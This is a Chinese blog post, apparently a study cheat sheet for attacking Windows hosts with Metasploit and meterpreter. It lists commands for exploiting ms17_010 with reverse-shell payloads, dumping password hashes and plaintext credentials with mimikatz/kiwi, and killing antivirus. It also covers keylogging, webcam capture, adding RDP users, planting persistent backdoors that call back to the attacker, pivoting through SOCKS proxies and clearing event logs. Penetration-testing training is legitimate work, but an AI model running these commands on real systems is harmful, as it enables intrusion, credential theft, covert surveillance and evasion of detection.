metasploit Framework(msf)里带数千个已知的软件漏洞,并保持持续更新,Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,采用Ruby语言编写。黑掉整个宇宙的称号!!!
初心: 记录msfconsole的渗透测试流程,以及每个流程点常用到的一些命令,其中还有一些不足的地方大家可以指出来,我会在本博客中添加补充,也会将大家的名字备注在补充的章节内!! 一起加油 ^-^
本章出后后续会出实战测试,也会将win和linux常用命令做一期更新。
kali自带的msf,升级更新
apt update 更新安装包信息,只检查不更新
apt upgrade 更新已安装的软件包,不删除旧包
apt full-upgrade 升级包,删除旧包
长时间没有用kali,会导致数字签名会过期,从而导致无法更新源。
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add 解决
基本渗透使用流程
msfconsole 进入框架 search ms17_010
search查找相关的漏洞攻击模块 (Auxiliary为辅助探测是否有该漏洞模块,exploit为漏洞利用模块)
use xxx/xxx/xxx use选择攻击模块
info 使用info查看漏洞类型的信息(针对的系统版本、语言版本)
show payloads 查看此漏洞可以利用的payload
set payload xxx/xxx 设置攻击载荷
show options 查看模块需要配置的参数
show targets 查看可攻击的系统平台(默认会自动判断目标操作系统版本和语言)
set xxxx 设置参数
exploit / run 保存/攻击(如果是探测的话显示 + 号代表存在该漏洞) 后渗透阶段
攻击载荷参数设置
set RHOST 192.168.100.158 #设置RHOST,也就是要攻击主机的ip
set LHOST 192.168.100.132 #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
set lport 6666 #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;
meterpreter【获取权限后的后渗透工具】
meterpreter属于stage payload,在Metasploit Framework中,Meterpreter属于一种在运行过程中可通过网络进行功能扩展型payload。这种工具基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
工作流程:目标先要执行初始的溢出的漏洞会话连接,可能是bind正向连接,或者反弹revers连接。反弹连接的时候加载dll链接文件,同时后台悄悄处理dll文件。 然后通过meterpreter核心代码初始化,通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到GET请求后配置相应的客户端。 最后,meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
meterperter特点【后渗透模块】
meterpreter完全驻留在内存,没有写入磁盘
Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。 默认情况下,mertepreter的通信是加密的,所以很安全
扩展性,许多新的特征模块可以被加载。 设置payload时,可以设置为反向链接,可以获得meterpreter> 就可以接着后渗透流程
? 【直接输入?,可以查看meterpreter中的参数说明】
background 【可以把meterpreter挂载到后台运行】
sessions -l 【查看获得的meterpreter_shell会话列表】
后渗透命令【win主机系统信息命令】
sysinfo 查看目标主机系统信息
run scraper 查看目标主机详细信息
run hashdump 导出密码的哈希
load kiwi 加载mimikatz
ps 查看目标主机进程信息
pwd 查看目标当前目录(windows)
getlwd 查看目录当前目录(linux) search -f *.jsp -d e:\ 搜索e盘中所有以.jsp为后缀的文件
download e:\test.txt /root 将目标主机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test 将/root/test.txt 上传到目录机的d:\test\目录
getpid 查看Meterpreter shell的进程PID
migrate 1384 将当前Merterpreter shell的进程迁移到PID为1384的进程上
idletime 查看主机运行时间
getuid 查看获取的当前权限
getsystem 提权,获得的当前用户是administrator才能成功
run killav 关闭杀毒软件
screenshot 截图
webcam_list 查看目标主机的摄像头
webcam_snap 拍照
webcam_stream 开视频
execute 参数 -f 可执行文件 执行可执行程序
run getgui -u testl -p ABC123 创建testl用户,密码为ABC123
run getgui -e 开启远程桌面
keyscan_start 开启键盘记录功能
keyscan_dump 显示捕捉到的键盘记录信息
keyscan_stop 停止键盘记录功能
uictl disable keyboard 禁止目标使用键盘
uictl enable keyboard 允许目标使用键盘
uictl disable mouse 禁止目标使用鼠标
uictl enable mouse 允许目标使用鼠标
load 使用扩展库
run 使用扩展库
POST 后渗透模块【获取目标主机控制权后的渗透攻击】
manage
run post/windows/manage/migrate 自动进程迁移
run post/windows/manage/killav 关闭杀毒软件
run post/windows/manage/enable_rdp 开启远程桌面服务
run post/windows/manage/autoroute 查看路由信息
run post/windows/manage/enable_rdp USERNAME=SS2 PASSWORD=123456
添加远程桌面用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662
将3389端口转发到6662
gather
run post/windows/gather/enum_logged_on_users 列举当前登录的用户
run post/windows/gather/enum_applications 列举应用程序
run post/windows/gather/credentials/windows_autologin 抓取自动登录的用户名和密码 run post/windows/gather/smart_hashdump dump出所有用户的hash
run post/windows/gather/enum_domain 查看域控
run post/windows/gather/enum_patches 补丁信息【获取是否有直接可以利用的msf补丁序号】
run post/windows/gather/checkvm 查看目标主机是否运行在虚拟机上
后渗透流程【流程常用命令】
sysinfo 查看目标主机的信息
run post/windows/gather/checkvm 查看主机是否运行在虚拟机上
run killav 关闭掉目标主机杀毒软件
run scraper 获取目标主机的详细信息 访问文件系统
pwd 查看当前目录
cat 读取文件内容
rm 删除文件
edit 使用vim编辑文件
mkdir 新建目录
rmdir 删除目录
download file (文件) 帮助从目标系统中下载文件
duload file(文件) 向目标系统上传文件
getuid 命令可以获取当前用户的信息
getsystem 自动提权为系统权限
使用mimikatx抓取密码
run windows/gather/credentials/windows_autologin 抓取自动登录的用户名和密码
run hashdump 导出密码哈希 导出格式: 用户名:SID:LM哈希:NTLM哈希:::
run windows/gather/smart_hashdump 命令的使用需要系统权限
前提:执行mimikatz必须System权限,并且执行时,要根据当前的系统位数进行选择
首先查看当前会话的权限(getuid),然后看系统位数(sysinfo),(upload )上传文件绝对路径,execute -i -f mimikatz.exe(执行) 【注:mimikatz必须使用system权限】
抓取密码: privilege::debug
sekurlsa::logonpasswords
提权【win提权到system】
一、当前权限是administrator用户
二、利用其它手段先提权到admininistrator用户,然后administrator用户可以直接在meterpreter_shell使用命令getsystem提权到system权限。
getuid 查看当前会话用户身份
getsystem 尝试自动提权
KiWi模块使用(msf中集成mimikatz模块被kiwi取代)
msf中集成的mimikatz模块已经被kiwi取代
前提:提权到system权限,kiwi默认加载是32位。 如果目标主机是64位系统,泽必须先看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并查看系统明文。
sysinfo 查看系统的
ps 查看是否有64位进程
migrate PID 进程迁移到Pid上
kiwi_cmd sekurlsa::logonpasswords 可以使用mimikatz的全部功能
ps 查看进程
load kiwi 加载kiwi模块
help kiwi 查看kiwi模块
creds_all 列举所有1凭据,可以列举系统中的明文密码
creds_kerberos 列举所有kerberos凭据
creds_msv 列举所有msv凭据
creds_ssp 列举所有ssp凭据
creds_tspkg 列举所有tspkg凭据
creds_wdigest 列举所有wdigest凭据
dcsync 通过dcsync检索用户账户信息
dcsync_ntlm 通过dcsync检索用户账户NTM散列、SID和RID
golden_ticket_create 创建黄金票据
kerberos_ticket_list 列举kerberos票据
kerberos_ticket_purge 清除kerberos票据
kerberos_ticket_use 使用kerberos票据
kiwi_cmd 执行mimikatz的命令,后面接mimikatz.exe命令 lsa_dump_sam dump出lsa的SAM
lsa_dump_secrets dump出lsa的密文
password_change 修改密码
wifi_list 列出当前用户的wifi配置文件
wifi_list_shared 列出共享wifi配置文件/编码
后渗透模块【主机安装应用参数配置】
run post/windows/gathtier/enum_applications 查看目标主机安装哪些应用
execute + [参数]
-f 伪造的线程令牌运指定可执行文件
-H 创建一个隐藏进程
-a 传递给命令的参数
-i 跟进程进行交互
-m 从内存中执行
-t 使用当前行进程
-s 在给定会话执行进程
screenshot 截图目标主机屏幕
run post/windows/gather/enum_logged_on_users 查看目标主机有用户
创建账户:
方式一: run getgui -u 用户名 -p 密码
方式二: run post/windows/manage/enable_rdp username=xxx password=xxxx
启用远程桌面:
idletime 检查远程用户的空闲时长
run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 将3389端口转发到6662端口
后渗透模块【后台操作设置】
键盘记录:
keyscan_start 开启键盘记录功能
keyscan_dump 显示捕捉到的键盘记录信息
keyscan_stop 停止键盘记录功能
禁止目标主机使用键盘鼠标:
uictl disable(enable) keyboard 禁止允许目标使用键盘
uictl disable(enable) mouse 禁止目标使用鼠标
目标主机摄像头拍照:
webcam_list 获取目标系统的摄像头列表
webcam_snap 从指定的摄像头,拍摄照片
webcam_stream 从指定的摄像头,开启视频
load/use 加载模块
load -l 列出所有可用的扩展
load -help 帮助;
说明 生成后门木马,然后放到windows的启动目录中: C:\Users$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
服务启动: run exploit/windows/local/peristence lhost=192.168.100.132 lport=xxx
进程连接192.168.100.132:8888 【缺点容易被杀毒】
netstat -ano : findstr “8888”
** 建立持续性后门**
meterpreter模块基于内存DLL建立的连接,需要在目标系统内部留下一个持续性的后门。
两种方式:
一种通过启动项启动(persistence), 第二种服务启动(metsvc)
启动项:
首先要生成一个后门木马,然后放入windows的启动目录中,只要开机就可以启动连接对应端口。
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
服务启动:
run exploit/windows/local/persistence lhost=192.168.100.132 lport=8888
#会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀
MSF搭建socks代理
msf中有三个代理模块 socks4a 、 socks5 、 socks_unc socks5可以设置用户名和密码,但有时候msf不会监听端口,可能导致代理失败 use auxiliary/server/socks 使用该模块 这里socks模块只是将代理设置为监听(默认为1080),即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口,所以通过代理走的流程也都能达到内网。
代理设置:
msf中将模块改为 use auxiliary/server/socks_proxy
show options 查看模块详情 设置sock监听的接口IP和端口
set SRVHOST ip(127.0.0.1) && set SRVPORT 端口
socks4a代理设置:
use auxiliary/server/socks4a
set SRVHOST 0.0.0.0
set SRVPORT 1080 run
socks5代理设置:
use auxiliary/server/socks5
set SRVHOST 0.0.0.0
set SRVPORT 1080
set USERNAME root
set PASSWORD Password@
run
连接代理:
编辑本地proxychains程序配置文件 vim /etc/proxychains.conf 浏览器也需要设置代理,直接通过浏览器就可以访问内网,找到ProxyList
[ProxyList]
中添加socks5 0.0.0.0 1080 root password 【1080为监听端口】
用nmap测试程序时,必须使用proxychains4 nma -sT -Pn xxxx 才可以
路由配置
【使用代理前添加路由】
先添加路由让MSF能达到目标机器内网。
route add 209.98.32.33 mask 255.255.255.224 202.96.123.3 metric 5 执行命令添加路由
route print 打印路由的Destination
route delete 209.98.32.33 删除路由
route change 209.98.32.33 netmask 255.255.255.224 202.96.123.3 metric 5【修改209.98.32.33网关修改为202.96.132.3】
路由转发:
方式一:
route 查看网段信息
background 将目前进程挂到后台,回到msf
route add 172.16.10..0 255.255.255.0 1 添加路由(1是挂起session编号)
route print
查看路由信息
方式二: use post/multi/manage/autoroute
set session 1 exploit 【直接加载这个模块,调用session】
缺点: 通过这种方式做代理转发,只能是msf使用,其它的应用无法使用,其它应用使用需要增加sock代理。
路由参数说明
add 增加路由记录
del 删除路由记录
target 目的网络或目的主机
gw 设置默认网关
mss 设置TCP的最大区块长度,单位MB
windows 指定通过路由表的TCP连接的TCP窗口大小
dev 路由记录所表示的网络接口
netmask 设置掩码长度
-A 设置地址类型
-c 打印Linux内核的路由缓存
-v 显示详细信息
-n 不执行DNS反向查找,直接显示数字形式的IP地址
-e netstart格式显示路由表
-net 到一个网络的路由表
-host 到一个主机的路由表
** portfwd端口转发win系统**
portfwd add -l 9999 -r 192.168.100.158 -p 3389
#将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权
限的主机的ip地址
portfwd add -l 9999 -r 192.168.100.158 -p 3389
-l 本地监听端口
-p 目标服务器端口
add 添加一个连接
将目标端口转发到本地监听端口,用于接收目标主机的端口反弹
rdesktop 127.0.0.1:9999 访问本地9999端口即可连接到目标主机的3389端口
clearev #清除日志
powershell收集域内信息
load powershell 加载powershell功能
powershell_import /root/PowerView.ps1 导入powershell脚本,提前将该powershell脚本放到指定目标
powershell_execute Get-NetDomain 该模块获取域信息
powershell_execute Invoke-UserHunter 该功能模块用于定位域管理员登录的主机 powershell_execute Get-NetForest 该模块用于定位域信息 powershell_execute Invoke-EnumerateLocalAdmin
枚举域中所有计算机上本地管理员组的成员
备注:meterpreter模块加载命令
meterpreter模块命令不齐全,可以执行load lstdapi加载补全命令
有时候后渗透收到的不是meterperpreter类型的session,可以用sessions -u id 来升级session。执行该命令,默认调用的是 /post/multi/manage/shell_to_meterpreter.
sessions -u id 中的 id 为载荷id
版权归原作者 小黑日志 所有, 如有侵权,请联系我们删除。